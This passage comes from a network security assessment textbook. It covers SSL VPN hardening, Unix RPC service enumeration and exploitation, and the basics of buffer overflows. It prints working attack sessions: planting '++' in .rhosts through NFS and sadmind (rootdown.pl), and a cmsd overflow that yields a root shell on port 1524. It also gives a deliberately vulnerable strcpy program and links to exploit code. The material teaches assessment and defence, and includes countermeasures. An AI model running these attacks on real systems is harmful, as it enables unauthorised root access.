In terms of commercial exploitation frameworks, CORE IMPACT supports CVE-2003-0818, CVE-2003-0719, CVE-2003-0545 (OpenSSL 0.9.7d double-free bug), and CVE-2002-0656 (OpenSSL 0.9.7-b2 and 0.9.6d master key overflow); and Immunity CANVAS supports CVE-2003-0818, CVE-2003-0719, and CVE-2002-0656 at the time of this writing.

### SSL VPN web interface issues

Upon establishing an SSL session to an SSL VPN server, we can use standard web application testing approaches to test for vulnerabilities including information leak, brute-force password grinding, command execution, and other application-level issues. Known vulnerabilities in F5 and Nortel Networks SSL VPN implementations (effectively web application flaws) are listed in Table 12-3.
The following countermeasures should be considered when hardening VPN services:

- Ensure that firewall or VPN gateway appliances have the latest security hotfixes and service packs installed to minimize the risk of a known publicized attack.

- Use digital certificates for both IPsec and SSL VPNs to negate reliance on user passwords (preshared keys). When certificates are used for authentication within IPsec, there is no need to use aggressive mode, so main mode should be used.

- Consider use of separate VPN and firewall devices. If you use a single device, a compromise can put your entire infrastructure at risk. By using a separate firewall with the VPN server on a DMZ network, you retain control of the inbound VPN traffic and the traffic from the VPN server to the internal network, even if the VPN server is compromised.

- Aggressively firewall and filter traffic flowing through VPN tunnels so that network access is limited in the event of a compromise. This point is especially important when providing access to mobile users.

- Where possible, limit inbound IPsec security associations to specific IP addresses or network blocks. This ensures that even if an attacker compromises a preshared key, she can’t easily access the VPN.

- For IPsec VPN servers, disable weak authentication modes and encryption algorithm support. Don’t rely on client settings to ensure that these features will not be used. You should disable IKE aggressive mode, single DES encryption support, and the use of the AH protocol unless it is combined with ESP.

- For SSL VPN servers, ensure that all weak encryption algorithms are disabled. These include single DES (56-bit) and all of the 40-bit export-grade ciphers.

- Make sure that SSL VPN servers use a 1,024-bit public key, as a 512-bit key is not sufficiently strong.

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-5416</td>
<td>27/09/2006</td>
<td>F5 FirePass 1000 SSL VPN 5.5 cross-site scripting issue</td>
</tr>
<tr>
<td>CVE-2006-1357</td>
<td>22/03/2006</td>
<td>F5 FirePass 4100 SSL VPN 5.4.2 cross-site scripting issue</td>
</tr>
<tr>
<td>CVE-2005-4197</td>
<td>30/05/2005</td>
<td>Nortel SSL VPN 4.2.1.6 OS command execution vulnerability</td>
</tr>
</tbody>
</table>
Chapter 13

Assessing Unix RPC Services

Vulnerabilities in Unix RPC services have led to many large organizations falling victim to hackers over the last 10 years. One such incident in April 1999 resulted in the web sites of Playboy, Sprint, O’Reilly Media, Sony Music, Sun Microsystems, and others being mass-defaced by H4G1S and the Yorkshire Posse (HTML mirrored at http://www.2600.com/hackedphiles/current/oreilly/hacked/). In this chapter, I cover remote RPC service vulnerabilities in Solaris, IRIX, and Linux, exploring how these services are exploited in the wild and how you can protect them. In general, these services should not be presented to the public Internet and should be run only when absolutely necessary.

Enumerating Unix RPC Services

A number of interesting Unix daemons (including NIS+, NFS, and CDE components) run as Remote Procedure Call (RPC) services using dynamically assigned high ports. To keep track of registered endpoints and present clients with accurate details of listening RPC services, a portmapper service listens on TCP and UDP port 111, and sometimes on TCP and UDP port 32771 also.

The RPC portmapper (also known as rpcbind within Solaris) can be queried using the rpcinfo command found on most Unix-based platforms, as shown in Example 13-1.

Example 13-1. Using rpcinfo to list accessible RPC service endpoints

```bash
$ rpcinfo -p 192.168.0.50
program vers proto port service
100000  4    tcp  111   rpcbind
100000  4    udp  111   rpcbind
100024  1    udp  32772 status
100024  1    tcp  32771 status
100021  4    udp  4045  nlockmgr
100021  2    tcp  4045  nlockmgr
100005  1    udp  32781 mountd
100005  1    tcp  32776 mountd
```
In this example, you can find the following:

- status (rpc.statd) on TCP port 32771 and UDP port 32772
- nlockmgr (rpc.lockd) on TCP and UDP port 4045
- nfsd on UDP port 2049
- rquotad on UDP port 32822
- rusersd on TCP port 33180 and UDP port 32823

These services can be accessed and queried directly using client software, such as `showmount` and `mount` (to access `nfsd` and `mountd`), and `rusers` (to access `rusersd`, covered in Chapter 5).

### Identifying RPC Services Without Portmapper Access

In networks protected by firewalls and other mechanisms, access to the RPC portmapper service running on port 111 is often filtered. Therefore, determined attackers can scan high port ranges (UDP and TCP ports 32771 through 34000 on Solaris hosts) to identify RPC services that are open to direct attack.

You can run Nmap with the `-sR` option to identify RPC services listening on high ports if the portmapper is inaccessible. Example 13-2 shows Nmap in use against a Solaris 9 host behind a firewall filtering the portmapper and services below port 1024.

**Example 13-2. Using Nmap to find RPC services running on high ports**

```
$ nmap -sR 10.0.0.9
```

Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2007-04-01 20:39 UTC

Interesting ports on 10.0.0.9:

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
<th>VERSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>4045/tcp</td>
<td>open</td>
<td>nlockmgr (nlockmgr V1-4)</td>
<td>1-4 (rpc #100021)</td>
</tr>
<tr>
<td>6000/tcp</td>
<td>open</td>
<td>X11</td>
<td></td>
</tr>
<tr>
<td>6112/tcp</td>
<td>open</td>
<td>dtspc</td>
<td></td>
</tr>
<tr>
<td>7100/tcp</td>
<td>open</td>
<td>font-service</td>
<td></td>
</tr>
<tr>
<td>32772/tcp</td>
<td>open</td>
<td>ttdbserverd (tttdbserverd V1)</td>
<td>1 (rpc #100083)</td>
</tr>
<tr>
<td>32773/tcp</td>
<td>open</td>
<td>kcms_server (kcms_server V1)</td>
<td>1 (rpc #100221)</td>
</tr>
<tr>
<td>32774/tcp</td>
<td>open</td>
<td>metad (metad V1)</td>
<td>1 (rpc #100229)</td>
</tr>
<tr>
<td>32775/tcp</td>
<td>open</td>
<td>rpc.metamedd (rpc.metamedd V1)</td>
<td>1 (rpc #100242)</td>
</tr>
<tr>
<td>32776/tcp</td>
<td>open</td>
<td>rusersd (rusersd V2-3)</td>
<td>2-3 (rpc #100002)</td>
</tr>
<tr>
<td>32777/tcp</td>
<td>open</td>
<td>status (status V1)</td>
<td>1 (rpc #100024)</td>
</tr>
<tr>
<td>32778/tcp</td>
<td>open</td>
<td>sometimes-rpc19</td>
<td></td>
</tr>
</tbody>
</table>
Connecting to RPC Services Without Portmapper Access

If network access to the RPC portmapper service is filtered and you try to use an RPC client, such as `showmount`, it will fail, as shown here:

```bash
$ showmount -e 10.0.0.9
mount clntudp_create: RPC: Port mapper failure
RPC: Unable to receive
```

The portmapper is required to orchestrate and manage the connection between the RPC client and service endpoint. To connect to remote RPC endpoints without an available portmapper using standard RPC clients, we must configure a local RPC portmapper and proxy the RPC endpoint connections through to the remote (target) server.

This technique is described by David Routin in his paper at http://www.milw0rm.com/papers/154, and it requires that the following utilities be installed and available on the local RPC attack proxy server:

- `netcat`
- `inetd`
- `portmap`
- `pmap_set`

RPC Service Vulnerabilities

Due to the number of different RPC services, associated `prognum` values, CVE references, and vulnerable platforms, it is difficult to simply group bugs and talk about them individually. I have put together the matrix of popular services and vulnerable platforms shown in Table 13-1. A small number of obscure IRIX services (`rpc.xfsmd`, `rpc.espd`, etc.) aren’t listed; you can investigate them through MITRE CVE and other sources.

**Table 13-1. Vulnerable RPC services, CVE references, and exploit framework support**

<table>
<thead>
<tr>
<th>Program number</th>
<th>Service</th>
<th>CVE references</th>
<th>Exploit framework support</th>
</tr>
</thead>
<tbody>
<tr>
<td>100000</td>
<td>portmapper</td>
<td>CVE-2007-0736</td>
<td>IMPACT</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CVE-1999-190</td>
<td></td>
</tr>
<tr>
<td>100003</td>
<td>nfsd</td>
<td>CVE-1999-0832</td>
<td></td>
</tr>
<tr>
<td>100004</td>
<td>ypser</td>
<td>CVE-2000-1043</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>CVE-2000-1042</td>
<td></td>
</tr>
</tbody>
</table>

Example 13-2. Using Nmap to find RPC services running on high ports (continued)
Two sets of integer overflows were uncovered in 2002 and 2003 relating to XDR functions used in Solaris RPC services and associated components. These issues are listed in MITRE CVE as CVE-2003-0028 and CVE-2002-0391, and have multiple attack vectors, including \texttt{.cmsd}, \texttt{ttdbserverd}, and \texttt{dmispd}.

### Table 13-1. Vulnerable RPC services, CVE references, and exploit framework support (continued)

<table>
<thead>
<tr>
<th>Program number</th>
<th>Service</th>
<th>CVE references</th>
<th>Exploit framework support</th>
</tr>
</thead>
<tbody>
<tr>
<td>100007</td>
<td>ypbind</td>
<td>CVE-2001-1328, CVE-2000-1041</td>
<td>✓</td>
</tr>
<tr>
<td>100008</td>
<td>rwalld</td>
<td>CVE-2002-0573</td>
<td>✓</td>
</tr>
<tr>
<td>100009</td>
<td>yppasswd</td>
<td>CVE-2001-0779</td>
<td>✓</td>
</tr>
<tr>
<td>100028</td>
<td>ypupdated</td>
<td>CVE-1999-0208</td>
<td></td>
</tr>
<tr>
<td>100099</td>
<td>autosfd</td>
<td>CVE-1999-0088</td>
<td></td>
</tr>
<tr>
<td>100232</td>
<td>sadmind</td>
<td>CVE-2003-0722, CVE-1999-0977</td>
<td>✓, ✓, ✓</td>
</tr>
<tr>
<td>100235</td>
<td>cachefsd</td>
<td>CVE-2002-0033, CVE-2002-0084</td>
<td>✓, ✓</td>
</tr>
<tr>
<td>100249</td>
<td>snmpXdmid</td>
<td>CVE-2001-0236</td>
<td>✓, ✓, ✓</td>
</tr>
<tr>
<td>100300</td>
<td>nisd</td>
<td>CVE-1999-0795, CVE-1999-0008</td>
<td></td>
</tr>
<tr>
<td>150001</td>
<td>pcnfsd</td>
<td>CVE-1999-0078</td>
<td></td>
</tr>
<tr>
<td>300019</td>
<td>amd</td>
<td>CVE-1999-0704</td>
<td></td>
</tr>
</tbody>
</table>
The LSD column in Table 13-1 does not relate to an exploitation framework, but the work of the Last Stage of Delirium (LSD) research team. LSD published reliable standalone exploits for the issues marked in Table 13-1, which are available in ZIP archives (solaris.zip and irix.zip) that are available from http://lsd-pl.net/code/. These ZIP archives are also available from the O’Reilly tools archive at http://examples.oreilly.com/networksa/tools/.

Exploits for vulnerabilities that are not covered by CORE IMPACT, Immunity CANVAS, MSF, or LSD are listed in the following sections of this chapter.

Abusing NFS and rpc.mountd (100005)

Three serious remotely exploitable bugs have been identified in the mountd and nfsd service binaries that are bundled with older Linux distributions (primarily Red Hat and Debian). The MITRE CVE references for these bugs are CVE-2003-0252, CVE-1999-0832, and CVE-1999-0002. Many DoS issues exist in recent NFS implementations, which you can investigate by checking MITRE CVE (http://cve.mitre.org).

CVE-2003-0252

In July 2003, an off-by-one bug was identified in the xlog() function of the mountd service bundled with multiple Linux distributions (including Debian 8.0, Slackware 8.1, and Red Hat Linux 6.2) as part of the nfs-utils-1.0.3 package. An exploit script for this issue is available at http://www.newroot.de/projects/mounty.c.

CVE-1999-0832

A second remotely exploitable issue was identified in Red Hat Linux 5.2 and Debian 2.1 and earlier relating to the rpc.nfsd service (as part of the nfs-server-2.2beta46 package) in November 1999. An exploit script for this issue is available at http://examples.oreilly.com/networksa/tools/rpc_nfsd2.c.

CVE-1999-0002

In October 1998, a serious remotely exploitable vulnerability was found in the NFS mountd service bundled with Red Hat Linux 5.1 (as part of the nfs-server-2.2beta29 package). Other Linux distributions were also found to be vulnerable, along with IRIX. Exploit scripts for this issue are available at:

http://examples.oreilly.com/networksa/tools/ADMmountd.tgz
http://examples.oreilly.com/networksa/tools/rpc.mountd.c

Listing and accessing exported directories through mountd and NFS

If the mountd service is running, you can use the Unix showmount command to list exported directories on the target host. These directories can be accessed and manipulated by using the mount command, and other NFS client utilities. In Example 13-3,
I use `showmount` to query a Solaris 2.6 host at 10.0.0.6 and by writing a `.rhost` file to a user’s home directory, gain remote access privileges.

**Example 13-3. Abusing writable NFS directories to gain direct host access**

```bash
$ showmount -e 10.0.0.6
Export list for 10.0.0.6:
/home   (everyone)
/usr/local onyx.trustmatta.com
/disk0   10.0.0.10,10.0.0.11
$ mount 10.0.0.6:/home /mnt
$ cd /mnt
$ ls -la
total 44
drwxr-x---  17 root      root    512 Jun 26 09:59 .
drwxr-xr-x   9 root      root    512 Oct 12 03:25 ..
drwx------   4 chris     users   512 Sep 20 2002 chris
drwxr-x--x  4 david     users   512 Mar 12 2003 david
drwx------   3 chuck     users   512 Nov 20 2002 chuck
drwx--x--x   8 jarvis    users  1024 Oct 31 13:15 jarvis
$ cd jarvis
$ echo ++ > .rhosts
$ cd /
$ umount /mnt
$ rsh -l jarvis 10.0.0.6 csh -i
Warning: no access to tty; thus no job control in this shell...
dockmaster%
```

**Multiple Vendor rpc.statd (100024) Vulnerabilities**

In recent years, four serious remotely exploitable bugs have been identified in the NFS status service (known as `rpc.statd` on most Unix-based platforms, and not to be confused with `rpc.rstatd`). These bugs are listed in Table 13-2, and exploit scripts are available from [http://examples.oreilly.com/networksa/tools/](http://examples.oreilly.com/networksa/tools/).

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>Affected platforms</th>
<th>Exploit scripts</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0666</td>
<td>Red Hat 6.2, Mandrake 7.1, and other Linux distributions</td>
<td>lmx.tgz, statdx2.tar.gz, and rpc-statd.c</td>
</tr>
<tr>
<td>CVE-1999-0493</td>
<td>Solaris 2.5.1</td>
<td>statd.tar.gz</td>
</tr>
<tr>
<td>CVE-1999-0018 and CVE-1999-0019</td>
<td>Solaris 2.4, IRIX, AIX, and HP-UX</td>
<td>dropoutd (Solaris binary)</td>
</tr>
</tbody>
</table>

**Solaris rpc.sadmind (100232) Vulnerabilities**

The Sun Solstice AdminSuite Daemon (`sadmind`) is enabled by default on Solaris 2.5.1 and later (up to Solaris 9 at the time of writing). `sadmind` has been found to be remotely vulnerable to two serious issues over recent years; they are known within MITRE CVE as CVE-1999-0977 and CVE-2003-0722.
CVE-1999-0977

The *sadmind* service running on Solaris 2.6 and 2.7 can be exploited by issuing a crafted RPC request, resulting in a stack overflow. Two exploits are effective at compromising vulnerable Solaris instances on Intel (x86) and SPARC architectures and are available at:

http://examples.oreilly.com/networksa/tools/super-sadmind.c
http://examples.oreilly.com/networksa/tools/sadmind-brute.c

CVE-2003-0722

A more recent bug, identified in September 2003, relates to authentication within *sadmind*. By default, the *sadmind* service runs in a weak security mode known as *AUTH_SYS*. When running in this mode, *sadmind* accepts command requests containing the user and group IDs, as well as the originating system name. Because these values aren’t validated by the *sadmind* service, you can gain access to a vulnerable system by sending a crafted RPC request. Because this bug doesn’t rely on memory manipulation, it can be exploited very easily to circumvent proactive mechanisms that may be in use, such as stack protection.

H D Moore wrote a Perl exploit script called *rootdown.pl*, available at http://www.metasploit.com/tools/rootdown.pl. This script has been integrated into MSF and can be run from the framework with ease.

Example 13-4 shows the *rootdown.pl* script in use against a Solaris 9 server at 10.0.0.9. As shown in Example 13-4, you can write “++” into a user’s .rhosts file (the bin user this case) to easily gain access.

Example 13-4. Exploiting a Solaris 9 host with rootdown.pl

```
$ perl rootdown.pl -h 10.0.0.9 -i

sadmind> echo ++ > /usr/bin/.rhosts
Success: your command has been executed successfully.

sadmind> exit

Exiting interactive mode...

$ rsh -l bin 10.0.0.9 csh -i
Warning: no access to tty; thus no job control in this shell...
onyx% uname -a
SunOS onyx 5.9 Generic_112234-08 i86pc 1386 i86pc
```
Multiple Vendor rpc.cmsd (100068) Vulnerabilities

In recent years, four serious remotely exploitable bugs have been identified in the CDE Calendar Manager Service Daemon (CMSD), known as rpc.cmsd on most Unix-based platforms. These bugs are listed in Table 13-3, and exploit scripts are available from http://examples.oreilly.com/networksa/tools/.

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Affected platforms</th>
<th>Exploit scripts</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1998</td>
<td>SCO UnixWare 7.1.1 and OpenUnix 8.0.0</td>
<td>unixware_cmsd.c</td>
</tr>
<tr>
<td>CVE-2002-0391</td>
<td>Solaris 9 and other BSD-derived platforms</td>
<td>(Immunity CANVAS supports these exploits)</td>
</tr>
<tr>
<td>CVE-1999-0696</td>
<td>Solaris 2.7, HP-UX 11.00, Tru64 4.0f, and SCO UnixWare 7.1.0</td>
<td>lsd_cmsd.c and cmsd.tgz</td>
</tr>
<tr>
<td>CVE-1999-0320</td>
<td>Solaris 2.5.1 and SunOS 4.1.4</td>
<td>N/A</td>
</tr>
</tbody>
</table>

Example 13-5 shows the usage of the compiled cmsd exploit (found in cmsd.tgz).

Example 13-5. cmsd exploit usage

```
$ ./cmsd
usage: cmsd [-s] [-h hostname] [-c command] [-u port] [-t port]
version host

-s: just start up rpc.cmsd (useful with a firewalled portmapper)
-h: (for 2.6) specifies the hostname of the target
-c: specifies an alternate command
-u: specifies a port for the udp portion of the attack
-t: specifies a port for the tcp portion of the attack
```

Available versions:

```
1: Solaris 2.5.1 /usr/dt/bin/rpc.cmsd 338844 [2-5]
2: Solaris 2.5.1 /usr/openwin/bin/rpc.cmsd 200284 [2-4]
3: Solaris 2.5 /usr/openwin/bin/rpc.cmsd 271892 [2-4]
4: Solaris 2.6 /usr/dt/bin/rpc.cmsd 347712 [2-5]
5: Solaris 7 /usr/dt/bin/rpc.cmsd
6: Solaris 7 /usr/dt/bin/rpc.cmsd (2)
7: Solaris 7 (x86) .../dt/bin/rpc.cmsd 329080 [2-5]
8: Solaris 2.6_x86 .../dt/bin/rpc.cmsd 318008 [2-5]
```

For the exploit to work, you must build an RPC request that includes the local hostname (also known as the RPC cache name) of the target server. Under Solaris, there are a number of services that give away the hostname, including FTP, as shown here:

```
$ ftp 10.0.0.6
Connected to 10.0.0.6.
220 dockmaster FTP server (SunOS 5.6) ready.
Name (10.0.0.6:root):
```
After obtaining both the hostname and version of Solaris running on the target host, you can launch the `cmsd` exploit. If no command is specified, the tool binds `/bin/sh` to TCP port 1524, as shown in Example 13-6.

**Example 13-6. Executing the rpc.cmsd overflow and gaining access**

```
$ ./cmsd -h dockmaster 4 10.0.0.6
rtable_create worked
cInt_call[rtable_insert]: RPC: Unable to receive; errno = Connection
reset by peer
$ telnet 10.0.0.6 1524
Trying 10.0.0.6...
Connected to 10.0.0.6.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
```

**Multiple Vendor rpc.ttdbserverd (100083) Vulnerabilities**

In recent years, four serious remotely exploitable bugs have been identified in the ToolTalk Database (TTDB) service, known as `rpc.ttdbserverd` on most Unix-based platforms. These bugs are listed in Table 13-4, and exploit scripts are available from http://examples.oreilly.com/networksa/tools/.

**Table 13-4. Recent rpc.ttdbserverd vulnerabilities listed within MITRE CVE**

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Affected platforms</th>
<th>Exploit scripts</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0679</td>
<td>Solaris 9, HP-UX 11.11, Tru64 5.1A, AIX 5.1, SCO UnixWare 7.1.1, and OpenUnix 8.0.0</td>
<td>N/A</td>
</tr>
<tr>
<td>CVE-2002-0677</td>
<td>Solaris 9, HP-UX 11.11, Tru64 5.1A, AIX 5.1, SCO UnixWare 7.1.1, and OpenUnix 8.0.0</td>
<td>N/A</td>
</tr>
<tr>
<td>CVE-2002-0391</td>
<td>Solaris 9 and other BSD-derived platforms</td>
<td>(Immunity CANVAS and CORE IMPACT support these exploits)</td>
</tr>
<tr>
<td>CVE-2001-0717</td>
<td>Solaris 8, HP-UX 11.11, Tru64 5.1A, AIX 5.1, and IRIX 6.4</td>
<td>N/A</td>
</tr>
<tr>
<td>CVE-1999-0003</td>
<td>Solaris 2.6, HP-UX 11.0, and IRIX 6.5.2</td>
<td>lsd_irix_ttdb.c and lsd_sol_ttdb.c</td>
</tr>
</tbody>
</table>

Example 13-7 shows the LSD TTDB exploit in use against a Solaris 2.6 host at 10.0.0.6.

**Example 13-7. The LSD Solaris rpc.ttdbserverd exploit in use**

```
$ ./lsd_sol_ttdb
copyright LAST STAGE OF DELIRIUM jul 1998 poland //lsd-pl.net/
rpc.ttdbserverd for solaris 2.3 2.4 2.5 2.5.1 2.6 sparc
usage: ./lsd_sol_ttdb address [-s] [-c command] [-p port] [-v 6]
```
Unix RPC Services Countermeasures

The following countermeasures should be considered when hardening RPC services:

- Don’t run `rexd`, `rusersd`, or `rwalld` RPC services because they are of minimal use and provide attackers with both useful information and direct access to your hosts.
- In high-security environments, don’t offer any RPC services to the public Internet. Due to the complexity of these services, it is highly likely that zero-day exploit scripts will be available to attackers. RPC services should be filtered and disabled wherever possible, and should only be run where absolutely necessary.
- To minimize the risk of internal or trusted attacks against necessary RPC services (such as NFS components, including `statd`, `lockd`, and `mountd`), install the latest vendor security patches.
- Aggressively filter egress traffic, where possible, to ensure that even if an attack against an RPC service is successful, a connect-back shell can’t be spawned to the attacker.
In this chapter, I focus on application-level vulnerabilities and mitigation strategies. The effectiveness of firewalls and network segmentation mechanisms is severely impacted if vulnerabilities exist within accessible network services. In recent years, major security flaws in Unix and Windows systems have been exposed, resulting in large numbers of Internet-based hosts being compromised by hackers and worms alike.

The Fundamental Hacking Concept

*Hacking is the art of manipulating a process in such a way that it performs an action that is useful to you.*

A simple example can be found in a search engine; the program takes a query, cross-references it with a database, and provides a list of results. Processing occurs on the web server itself, and by understanding the way search engines are developed and their pitfalls (such as accepting both the query string and database filename values), a hacker can attempt to manipulate the search engine to process and return sensitive files.

Many years ago, the main U.S. Pentagon, Air Force, and Navy web servers (http://www.defenselink.mil, http://www.af.mil, and http://www.navy.mil) were vulnerable to this very type of search engine attack. They used a common search engine called *multigate*, which accepted two abusable arguments: SurfQueryString and f. The Unix password file could be accessed by issuing a crafted URL, as shown in Figure 14-1.

High-profile military web sites are properly protected at the network level by firewalls and other security appliances. However, by the very nature of the massive amount of information stored, a search engine was implemented, which in turn introduced vulnerabilities at the application level.
Nowadays, most vulnerabilities are more complex than simple logic flaws. Stack, heap, and static overflows, along with format string bugs, allow remote attackers to manipulate nested functions and often execute arbitrary code on accessible hosts.

**Why Software Is Vulnerable**

In a nutshell, software is vulnerable due to complexity and inevitable human error. Many vendors (e.g., Microsoft, Sun, Oracle, and others) who developed and built their software in the 1990s didn’t write code that was secure from heap overflows or format string bugs because these issues were not widely known at the time.

Software vendors are now in a situation where, even though it would be the just thing to do, it is simply too expensive to secure their operating systems and server software packages from memory manipulation attacks. Code review and full black-box testing of complex operating system and server software would take years to undertake and would severely impact future development and marketing plans, along with revenue.

In order to develop adequately secure programs, the interaction of that program with the environment in which it is run should be controlled at all levels—no data passed to the program should be trusted or assumed to be correct. **Input validation** is a term used within application development to ensure that data passed to a function is properly sanitized before it is stored in memory. Proper validation of all external data passed to key network services would go a long way toward improving the security and resilience of IP networks and computer systems.
Network Service Vulnerabilities and Attacks

In this section, I concentrate on Internet-based network service vulnerabilities, particularly how software running at both the kernel and system daemon levels processes data. These vulnerabilities can be categorized into two high-level groups: memory manipulation weaknesses and simple logic flaws.

This section details memory manipulation attacks to help you understand the classification of bugs and the respective approaches you can take to mitigate risks. It also identifies simple logic flaws (also discussed in Chapter 7), which are a much simpler threat to deal with.

Memory Manipulation Attacks

Memory manipulation attacks involve sending malformed data to the target network service in such a way that the logical program flow is affected (the idea is to execute arbitrary code on the host, although crashes sometimes occur, resulting in denial of service).

Here are the three high-level categories of remotely exploitable memory manipulation attacks:

- Classic buffer overflows (stack, heap, and static overflows)
- Integer overflows (technically an overflow delivery mechanism)
- Format string bugs

I discuss these three attack groups and describe individual attacks within each group (such as stack saved instruction and frame pointer overwrites). There are a small number of exotic bug types (e.g., index array manipulation and static overflows) that unfortunately lie outside the scope of this book, but which are covered in niche application security publications and online presentations.

By understanding how exploits work, you can effectively implement changes to your critical systems to protect against future vulnerabilities. To appreciate these low-level issues, you must first have an understanding of runtime memory organization and logical program flow.

Runtime Memory Organization

Memory manipulation attacks involve overwriting values within memory (such as instruction pointers) to change the logical program flow and execute arbitrary code. Figure 14-2 shows memory layout when a program is run, along with descriptions of the four key areas: text, data and BSS, the stack, and the heap.
The text segment

This segment contains all the compiled executable code for the program. Write permission to this segment is disabled for two reasons:

- Code doesn’t contain any sort of variables, so the code has no practical reason to write over itself.
- Read-only code segments can be shared between different copies of the program executing simultaneously.

In the older days of computing, code would often modify itself to increase runtime speed. Today’s modern processors are optimized for read-only code, so any modification to code only slows the processor. You can safely assume that if a program attempts to modify its own code, the attempt was unintentional.

The data and BSS segments

The data and Block Started by Symbol (BSS) segments contain all the global variables for the program. These memory segments have read and write access enabled, and, in Intel architectures, data in these segments can be executed.
The stack

The stack is a region of memory used to dynamically store and manipulate most program function variables. These local variables have known sizes (such as a password buffer with a size of 128 characters), so the space is assigned and the data is manipulated in a relatively simple way. By default in most environments, data and variables on the stack can be read from, written to, and executed.

When a program enters a function, space on the stack is provided for variables and data; i.e., a stack frame is created. Each function’s stack frame contains the following:

- The function’s arguments
- Stack variables (the saved instruction and frame pointers)
- Space for manipulation of local variables

As the size of the stack is adjusted to create this space, the processor stack pointer is incremented to point to the new end of the stack. The frame pointer points at the start of the current function stack frame. Two saved pointers are placed in the current stack frame: the saved instruction pointer and the saved frame pointer.

The saved instruction pointer is read by the processor as part of the function epilogue (when the function has exited and the space on the stack is freed up), and points the processor to the next function to be executed.

The saved frame pointer is also processed as part of the function epilogue; it defines the beginning of the parent function’s stack frame, so that logical program flow can continue cleanly.

The heap

The heap is a very dynamic area of memory and is often the largest segment of memory assigned by a program. Programs use the heap to store data that must exist after a function returns (and its variables are wiped from the stack). The data and BSS segments could be used to store the information, but this isn’t efficient, nor is it the purpose of those segments.

The allocator and deallocator algorithms manage data on the heap. In C, these functions are called malloc() and free(). When data is to be placed in the heap, malloc() is called to allocate a chunk of memory, and when the chunk is to be unlinked, free() releases the data.

Various operating systems manage heap memory in different ways, using different algorithms. Table 14-1 shows the heap implementations in use across a number of popular operating systems.
Most software uses standard operating system heap-management algorithms, although enterprise server packages, such as Oracle, use their own proprietary algorithms to provide better database performance.

### Processor Registers and Memory

Memory contains the following: compiled machine code for the executable program (in the text segment), global variables (in the data and BSS segments), local variables and pointers (in the stack segment), and other data (in the heap segment).

The processor reads and interprets values in memory by using registers. A *register* is an internal processor value that increments and jumps to point to memory addresses used during program execution. Register names are different under various processor architectures. Throughout this chapter I use the Intel IA32 processor architecture and register names (eip, ebp, and esp in particular). Figure 14-3 shows a high-level representation of a program executing in memory, including these processor registers and the various memory segments.

The three important registers from a security perspective are eip (the instruction pointer), ebp (the stack frame pointer), and esp (the stack pointer). The stack pointer should always point to the last address on the stack as it grows and shrinks in size, and the stack frame pointer defines the start of the current function’s stack frame. The instruction pointer is an important register that points to compiled executable code (usually in the text segment) for execution by the processor.

In Figure 14-3, the executable program code is processed from the text segment, and local variables and temporary data stored by the function exist on the stack. The heap is used for more long-term storage of data because when a function has run, its local variables are no longer referenced. Next, I’ll discuss how you can influence logical program flow by corrupting memory in these segments.
Classic Buffer-Overflow Vulnerabilities

By providing malformed user input that isn’t correctly checked, you can often overwrite data outside the assigned buffer in which the data is supposed to exist. You typically do this by providing too much data to a process, which overwrites important values in memory and causes a program crash.

Depending on exactly which area of memory (stack, heap, or static segments) your input ends up in and overflows out of, you can use numerous techniques to influence the logical program flow, and often run arbitrary code.

What follows are details of the three classic classes of buffer overflows, along with details of individual overflow types. Some classes of vulnerability are easier to exploit remotely than others, which limits the options an attacker has in some cases.

Stack Overflows

Since 1988, stack overflows have led to the most serious compromises of security. Nowadays, many operating systems (including Microsoft Windows 2003 Server, OpenBSD, and various Linux distributions) have implemented nonexecutable stack protection mechanisms, and so the effectiveness of traditional stack overflow techniques is lessened.
By overflowing data on the stack, you can perform two different attacks to influence the logical program flow and execute arbitrary code:

- A stack smash, overwriting the saved instruction pointer
- A stack off-by-one, overwriting the saved frame pointer

These two techniques can change logical program flow, depending on the program at hand. If the program doesn’t check the length of the data provided, and simply places it into a fixed sized buffer, you can perform a stack smash. A stack off-by-one bug occurs when a programmer makes a small calculation mistake relating to lengths of strings within a program.

**Stack smash (saved instruction pointer overwrite)**

As stated earlier, the stack is a region of memory used for temporary storage. In C, function arguments and local variables are stored on the stack. Figure 14-4 shows the layout of the stack when a function within a program is entered.

![Figure 14-4. Stack layout when a function is entered](image)

The function allocates space at the bottom of the stack frame for local variables. Above this area in memory are the stack frame variables (the saved instruction and frame pointers), which are necessary to direct the processor to the address of the instructions to execute after this function returns.

Example 14-1 shows a simple C program that takes a user-supplied argument from the command line and prints it out.

**Example 14-1. A simple C program, printme.c**

```c
int main(int argc, char *argv[])
{
    char smallbuf[32];
```
Example 14-1. A simple C program, printme.c (continued)

```c
strcpy(smallbuf, argv[1]);
printf("%s\n", smallbuf);
return 0;
}
```

This `main()` function allocates a 32-byte buffer (`smallbuf`) to store user input from the command-line argument (`argv[1]`). Here is a brief example of the program being compiled and run:

```
$ cc -o printme printme.c
$ ./printme test
test
```

Figure 14-5 shows what the `main()` function stack frame looks like when the `strcpy()` function has copied the user-supplied argument into the buffer `smallbuf`.

The test string is placed into `smallbuf`, along with a \0. The NULL character (\0) is an important character in C because it acts as a string terminator. The stack frame variables (saved frame and instruction pointers) have not been altered, and so program execution continues, exiting cleanly.

**Causing a program crash.** If you provide too much data to the `printme` program, it will crash, as shown here:

```
$ ./printme ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Segmentation fault (core dumped)
```
Figure 14-6 shows the main() stack frame after the strcpy() function has copied the 48 bytes of user-supplied data into the 32-byte smallbuf.

The segmentation fault occurs as the main() function returns. As part of the function epilogue, the processor pops the value 0x44434241 (“DCBA” in hexadecimal) from the stack, and tries to fetch, decode, and execute instructions at that address. 0x44434241 doesn’t contain valid instructions, so a segmentation fault occurs.

